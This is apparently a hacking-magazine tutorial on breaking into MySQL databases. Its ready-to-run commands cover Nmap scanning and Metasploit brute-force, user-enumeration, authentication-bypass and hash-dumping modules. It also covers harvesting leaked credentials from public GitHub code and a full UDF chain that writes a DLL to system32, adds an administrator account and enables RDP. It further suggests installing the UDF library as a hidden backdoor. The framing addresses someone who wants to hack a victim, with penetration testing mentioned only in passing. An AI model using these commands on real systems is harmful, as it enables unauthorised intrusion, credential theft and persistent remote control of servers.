We will start with a definition. MySQL is a relational database management system with different data storage engines, such as MyISAM, InnoDB, Archive and others. Like most open source projects, it has its own branches, for example, MariaDB. Before going into details, I would like to mention that most of discussed vectors/techniques/bugs apply to various engines and branches, though not always.
Looking for Potential Victims
Now, let’s go straight to business. To hack someone, you need first to find them. Let’s assume that you already know who your potential victim is, what their IP is or you are in their local network. Now, you need to scan their address (network) for open ports. By default, MySQL uses port 3306, and this is what you will be looking for. The toolbox of each hacker must include ‘Nmap’, a scanner that allows you to find various services and ports on target machines. Here’s an example of scanning command:
nmap -sV -PN -p <port> <ip>
- ‘-PN’ is a very useful flag that tells the program to skip the host detection stage and go directly to port scanning. It is useful when the machine does not respond to a ping scan while probably having some open ports. In such case, without this flag, ‘Nmap’ will skip such host;
- ‘-sV’ explores the open ports in order to obtain information about the service.
UDP scan requires ‘-sU’ flag.
nmap -sV -Pn -p 3306 172.16.2.114 Nmap scan report for 172.16.2.114 Host is up (0.00013s latency). PORT STATE SERVICE VERSION 3306/tcp open mysql MySQL (unauthorized)
One of the coolest things in terms of easy access to databases is to search for source code of projects on GitHub. Before searching and deploying SQL Inj on the website, which can take quite a while (if there are any at all), you can simply go to everyone’s favorite website for the shared development, enter a couple of words and, with some luck, get access to desired source code. For unexplained reasons, many developers upload their projects to public domain — maybe they do it out of stupidity, or maybe because they don’t feel like spending money on private repository, or maybe they just want to share with the entire world their great code, — but GitHub hosts a huge pile of source code ranging from small websites to large projects. Often, this can make your work much easier. For example, if you enter a search request ‘username mysql password database’, you will be stunned to see the number of results. Especially, there are a lot of juicy PHP files with the information on how to connect to the database.
So, the first thing you do for a penetration test is to go to GitHub and check the availability of your customer’s source code. If you find something, then you can safely connect to the database, and extract the desired data based on available rights. But if you were unable to find those cherished ‘username/password’ strings, do not despair — you can rummage through the source code of the websites (if there are any) and, instead of performing your audit blindly, do it with the source code of the service. It will greatly facilitate the task of finding the vulnerabilities. Now, you will not be just engaged in a random fuzzy search but check specific vectors built according to source code. For example, you will look at what locations the database has been accessed, whether the filtering of client data is used, etc.
There are different ways to search for injections. You can do it by inserting everywhere a quotation mark automatically or manually (fuzzing); use the method with GitHub in a hope that the developers of researched service have been careless. Finally, you face the moment of truth. You have found your long-awaited injection and, now, you are ready to fully implement it. But the trouble is that you’ve got some urgent business (like your friends asking you to join them for a beer party), or you have been overwhelmed by a terrible procrastination. Don’t worry, you will be rescued by an excellent tool [sqlmap] (goo.gl/gy6TYl), which automates the process of searching and exploiting SQL injections. It will not only find a security hole but also fully exploit it. This tool supports all types of injections. The functionality of sqlmap allows you to: dump databases, automatically search the database, retrieve and decrypt logins and passwords, run ‘cmd’ shell, run the interactive ‘sql’ shell, in which you only need to write your SQL queries to the database, and ‘sqlmap’ will generate the payload for injection. There is a great [Cheet Sheet] (goo.gl/8HAIgD), which presents all features of this tool just on two pages.
There are several tools that will be useful in the difficult task of mastering MySQL. They need no special presentation as you have certainly heard about them more than once (in fact, more than a thousand times). The first one is Metasploit, one of the key programs for hacking that allows you to create exploits and debug them. The second one is Nmap, a scanner which has been many times discussed in this magazine.
There is more than enough information on all these tools, so we will not discuss their use in detail. Those who never used them definitely should do it, and they will find all necessary help through Google or on official websites. In the meantime, we will move further.
Start with the most simple — collect information. In Metasploit, you can do it with ‘auxiliary/scanner/mysql/mysql_version’, a version scanner that can scan the entire pool of addresses:
msf > use auxiliary/scanner/mysql/mysql_version msf auxilary(mysql_version) > set RHOSTS 172.16.2.54 msf auxilary(mysql_version) > exploit
‘Nmap’ also has a module that connects to the server and displays some useful information, such as protocol, version number, status and salt.
nmap -sV -sC <target>
Brute-force attack features among the most frequently performed tests and it is aimed at checking for weak or default passwords. But before you start to bruteforce passwords, you can mount a user enumeration attack. It can be mounted against the servers running version 5.x and supporting the old authentication mechanisms (CVE-2012-5615). After performing the scan, you will know what users exist in the database. This significantly reduces the pool of users for brute-force attack.
nmap --script mysql-enum <target>
After compiling your pool of user names and passwords, you can proceed to brute-force attack:
msf > use auxiliary/scanner/mysql/mysql_login msf auxiliary(mysql_login) > set USER_FILE /root/login/logins msf auxiliary(mysql_login) > set PASS_FILE /root/login/password msf auxiliary(mysql_login) > set RHOSTS 172.16.2.54 msf auxiliary(mysql_login) > exploit
‘Nmap’ uses default password and user lists, but you can always plug in your own lists:
nmap --script mysql-brute <target> --script-args userdb=<path> - plug in your list of logins --script-args passdb=<path> - plug in your list of passwords
By the way, here’s a great [repository] (goo.gl/hk5Qhs), where you can find the most popular logins, passwords and more. In addition, a brute-force attack usually also includes another simple but quite important check of a blank password for root or anonymous user:
nmap -sV --script=mysql-empty-password <target>
The next important step that begins after obtaining login/password (through injection or brute-force attack) is post-exploitation. I will enumerate the various modules for ‘Nmap’ and their purpose. Module that displays available databases:
nmap -sV --script mysql-databases <target>
Module that displays available users:
nmap -sV --script mysql-users <target>
Module that displays available variables:
nmap -sV --script mysql-variables <target>
Module that displays available users and their hash values in the form convenient for brute force attack:
nmap -p 3306 <ip> --script mysql-dump-hashes –script args='username=root,password=secret' msf>use auxiliary/admin/mysql/mysql_hashdump
Module that replaces MySQL client and sends queries to a remote database:
nmap -p 3306 <ip> --script mysql-query --script-\ args='query="<query>"[,username=<username>,password=<password>]' msf>use auxiliary/admin/mysql/mysql_sql
Scanning for CVE-2012-2122
Separately, it is necessary to mention an interesting module available both in Metasploit and Nmap, and this is a module used to check for [CVE-2012-2122] (goo.gl/hPTqem). This vulnerability allows remote users to bypass authentication due to improper checking of returned values. There is a 1/256 probability of passing the authorization with invalid password, because MySQL believes that the token received from the user and the expected value are equal. By using a known user name (such as, ‘root’, which is virtually always the case) with any password, you can connect to the database by repeating the connection about 300 times. After that, you can damp all user passwords, bruteforce them and connect by using a legitimate password. However, not everything is as good as it seems, this vulnerability affects only assemblies where ‘memcmp()’ function returns the values outside the range between ‘-128’ and ‘127’, which is quite a limited number of systems:
- Ubuntu Linux 64-bit (10.04, 10.10, 11.04, 11.10, 12.04);
- OpenSuSE 12.1 64-bit MySQL 5.5.23-log;
- Debian Unstable 64-bit 5.5.23-2;
- Arch Linux.
But if there’s even a slightest chance to get into the database, you should try it:
msf > use auxiliary/scanner/mysql/mysql_authbypass_hashdump msf auxiliary(mysql_authbypass_hashdump) > set RHOSTS 172.16.2.54 msf auxiliary(mysql_authbypass_hashdump) > set USERNAME root msf auxiliary(mysql_authbypass_hashdump) > exploit
For ‘Nmap’, during the scanning, use the script ‘mysql-vuln-cve2012-2122’:
nmap -sV --script mysql-vuln-cve2012-2122 <target>
A Good Old UDF
A long, long time ago, when there were still no triggers and stored procedures introduced into MySQL universe, there was support for User-Defined Function. However, even in today’s world, this feature continues to exist and is supported as an external stored function. These functions do not just combine different SQL operators in some specific query, but also greatly extend the functionality of database. Because, unlike Oracle Database, MySQL does not have that coolest Java machine, which can be used to destroy everything in the database. UDF remains one of the few methods available for running commands on the server through the database. In the times of MySQL version 4, this was [Raptor] (goo.gl/0Jj0Uc), an exploit, but it had a number of limitations, including incompatibility with MySQL 5.0 and higher.
Currently, there is a legitimate library, which you can download from a legitimate [website] (mysqludf.org). It contains four functions:
- ‘sys_eval(arg1)’ executes a random command and returns the output of external command.
- ‘sys_exec(arg1)’ executes a random command and displays the return code.
- ‘sys_get(arg1)’ allows you to get an environment variable or ‘NULL’ if there is no environment variable.
- ‘sys_set(arg1, arg2)’ allows you to set an environment variable (parameters: variable name, value), returns 0 in case of success.
The library is installed in such path as ‘/usr/lib/mysql’, ‘/usr/lib/mysql/plugin/’ or others depending on the system. Next comes the time to run commands in the database. But first, you need to create the function:
CREATE FUNCTION lib_mysqludf_sys_info RETURNS string SONAME 'lib_mysqludf_sys.so'; CREATE FUNCTION sys_get RETURNS string SONAME 'lib_mysqludf_sys.so'; CREATE FUNCTION sys_set RETURNS int SONAME 'lib_mysqludf_sys.so'; CREATE FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.so'; CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.so';
Now, you can execute it with various commands:
To create and delete functions, you must have privileges to ‘INSERT’ or ‘DELETE’. Therefore, you can exploit this bug only if the user to whom you have access has the privilege ‘FILE’ that allows you to read and write files to the server by using such operators as ‘LOAD DATA INFILE’ and ‘SELECT… INTO OUTFILE’. Always check this option, because negligent administrators still do exist. Often, many of them work with database on behalf of the ‘root’. So, even an injection may be enough to get full control over the machine. You can view the privileges in the tables ‘user’, ‘db’, ‘host’, ‘the tables_priv’ and ‘columns_priv’ of ‘mysql’ database. Use ‘set the mysql;’ to change the database, and ‘select * from user;’ to output the table.
A second condition, the function ‘lib_mysqludf_sys’, is already installed in MySQL. Next, everything is simple, you just create a function and run commands.
Another option is to install it on your own as a backdoor on the system. If you need a remote, hidden access to the system, then “pumping” the database by using a legitimate and personal installation of ‘lib_mysqludf_sys’ looks like a good option.
This technique is not new. As everything has already been done before and automated, you will not have to install the function yourself, if you have a Metasploit on hand:
use exploit/windows/mysql/mysql_payload msf exploit(mysql_payload) > set PASSWORD qwertн msf exploit(mysql_payload) > set RHOST 172.16.2.54 msf exploit(mysql_payload) > set USERNAME root msf exploit(mysql_payload) > exploit
‘sqlmap’ can do the same thing. Therefore, if you found an injection, then you can safely put ‘sqlmap’ in charge of the process.
UDF Usage Scenario
One possible scenario to fill the shell/elevate privileges may look as follows. First, you need to gain access to the database (‘root’ user or other with ‘FILE’ privilege) through injection, brute-force attack or otherwise. Next, you have to obtain a copy of UDF library in the attacked machine by taking into account the operating system and its bit depth. You can use the options included in ‘sqlmap’ available [here] (goo.gl/dXNYfi). By the way, this repository also contains the libraries for Windows. You can use various methods to upload the library to the server:
- By using the website functionality for uploading images, files, etc.;
- Via open or hacked FTP server.
The next step is to execute SQL queries in order to load your shell into the table and then retrieve it to the desired folder (‘/usr/lib’ for Linux, ‘c:\windows\system32’ for Windows). Then, create a new function in MySQL. Now, you have a working shell and opportunity to use RCE on the server.
Example for Windows involving the creation of user:
mysql> USE mysql; mysql> CREATE TABLE bob(line blob); mysql> INSERT INTO bob values(load_file('C:/xampplite/htdocs/mail/lib_mysqludf_sys.dll')); mysql> SELECT * FROM mysql.bob INTO DUMPFILE 'c:/windows/system32/lib_mysqludf_sys.dll'; mysql> CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys.dll'; mysql> SELECT sys_exec("net user bob password /add"); mysql> SELECT sys_exec("net localgroup Administrators bob /add");
As an option, you can connect RDP:
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
Compared to other DBMS, there are not so many points of entry into someone else’s MySQL database: SQL Injection attacks, finding logins and passwords on GitHub, brute-force attacks, vulnerability to bugs from public domain. The post-exploitation methods can additionally include elevation of privileges, DoS attacks, use of triggers and stored procedures. However, some of them refer to special cases that are rarely encountered or require very specific conditions.
I wanted to show you how quickly and easily you can check the desired database. As you can see, today everything is automated, which allows you to make the desired checks in the background while doing something else. For now, that’s all that I wanted to discuss in this article. And remember — with great strength comes great responsibility :).